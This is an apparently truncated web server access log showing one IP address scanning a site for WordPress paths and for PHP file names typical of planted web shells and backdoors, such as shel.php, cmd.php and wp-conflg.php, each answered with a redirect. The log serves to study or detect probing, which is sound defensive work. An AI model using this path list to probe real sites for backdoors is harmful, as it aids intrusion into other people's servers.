Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:18:41 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:41 +0300] "GET /wp-admin/gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:44 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:47 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:51 +0300] "GET /wp-content/xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:18:54 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:57 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:18:57 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:19:00 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:00 +0300] "GET /wp-admin/includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:04 +0300] "GET /wp-includes/blocks/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:04 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:19:07 +0300] "GET /wp-includes/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:10 +0300] "GET /about.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:19:12 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:19:13 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:13 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:16 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:20 +0300] "GET /wp-content/plugins/elementor/includes/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:23 +0300] "GET /wp-includes/blocks/comments/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:23 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:26 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:29 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:29 +0300] "GET /wp-content/ws29.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:32 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:33 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:33 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:19:36 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:37 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:19:37 +0300] "GET /wp-admin/network/shel.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:40 +0300] "GET /wp-wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:43 +0300] "GET /wp-content/updraft/emptydir/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:47 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:47 +0300] "GET /wp-content/themes/aounq/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:50 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:51 +0300] "GET /wp-includes/blocks/navigation-submenu/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:51 +0300] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:51 +0300] "GET /wp-includes/js/dist/script-modules/block-library/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:52 +0300] "GET /wp-active.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:55 +0300] "GET /wp-includes/blocks/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:55 +0300] "GET /wp-includes/blocks/post-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:19:56 +0300] "GET /wp-includes/blocks/categories/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:19:59 +0300] "GET /wp-includes/blocks/list-item/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:02 +0300] "GET /wp-content/abb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:05 +0300] "GET /wp-admin/sql.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:09 +0300] "GET /wp-includes/blocks/tag-cloud/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:12 +0300] "GET /wp-includes/pomo/includ.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:15 +0300] "GET /wp-includes/widgets/class-wp-widget-xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:18 +0300] "GET /wp-includes/assets/script-modules-xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:22 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:25 +0300] "GET /wp-includes/blocks/categories/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:28 +0300] "GET /wp-content/themes/celuapuestas-theme/inc/functions/frontend/g0znuk/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:31 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:34 +0300] "GET /wp-content/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:37 +0300] "GET /wp-admin/css/maintenance.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:40 +0300] "GET /wp-admin/images/wp-ver.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:20:43 +0300] "GET /wp-content/gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:47 +0300] "GET /wp-content/themes/twentysixteen/includez.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:20:50 +0300] "GET /wp-content/themes/news-portal/user-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:20:53 +0300] "GET /wp-includes/gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:56 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:20:59 +0300] "GET /wp-content/plugins/eu-cookie-law/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:03 +0300] "GET /wp-content/plugins/wp-minibar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:06 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-social-elf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:21:09 +0300] "GET /wp-admin/css/colors/ectoplasm/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:21:12 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:21:14 +0300] "GET /wp-content/themes/twentytwentyone/template-parts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:15 +0300] "GET /wp-content/uploads/revslider/templates/brutal-menu/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:21:17 +0300] "GET /wp-includes/blocks/page-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:18 +0300] "GET /wp-includes/sodium_compat/src/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:21:18 +0300] "GET /wp-content/plugins/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:21 +0300] "GET /wp-includes/Requests/zczv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:21:24 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:28 +0300] "GET /wp-content/themes/twentytwentythree/locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:21:31 +0300] "GET /wp-admin/css/colors/light/wxeagnaY.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:21:34 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:37 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:40 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:21:44 +0300] "GET /wp-content/themes/theme-check/theme-check.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:47 +0300] "GET /wp-includes/blocks/group/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:50 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:21:53 +0300] "GET /wp-includes/css/dist/customize-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:21:56 +0300] "GET /wp-content/plugins/wordpress-seo/admin/metabox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:21:59 +0300] "GET /wp-content/plugins/ubermenu/pro/updates/updatechecker/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:22:03 +0300] "GET /wp-content/plugins/elementor/modules/notes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:06 +0300] "GET /wp-content/plugins/sitepress-multilingual-cms/classes/icl/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:09 +0300] "GET /wp-content/plugins/advanced-custom-fields-pro/includes/admin/views/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:22:12 +0300] "GET /wp-content/plugins/contact-form-7/includes/submission.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:15 +0300] "GET /wp-admin/css/colors/midnight/test2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:19 +0300] "GET /wp-content/themes/Divi/common/scripts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:22:21 +0300] "GET /wp-admin/network/cache/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:25 +0300] "GET /wp-content/uploads/cpo_temp/services.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:27 +0300] "GET /wp-admin/includes/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:30 +0300] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:33 +0300] "GET /wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:22:36 +0300] "GET /image/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:22:38 +0300] "GET /wp-differ1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:22:41 +0300] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:22:44 +0300] "GET /wp-content/plugins/phpadmin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:22:47 +0300] "GET /wp-content/settings/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:50 +0300] "GET /wp-content/themes/akses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:53 +0300] "GET /wp-content/themes/twentytwentythree/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:55 +0300] "GET /wp-content/plugins/sccrbel/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:22:58 +0300] "GET /wp-content/plugins/tilnzqc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:00 +0300] "GET /wp-admin/zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:23:03 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:06 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:23:09 +0300] "GET /wp-admin/uuj_gagal.php 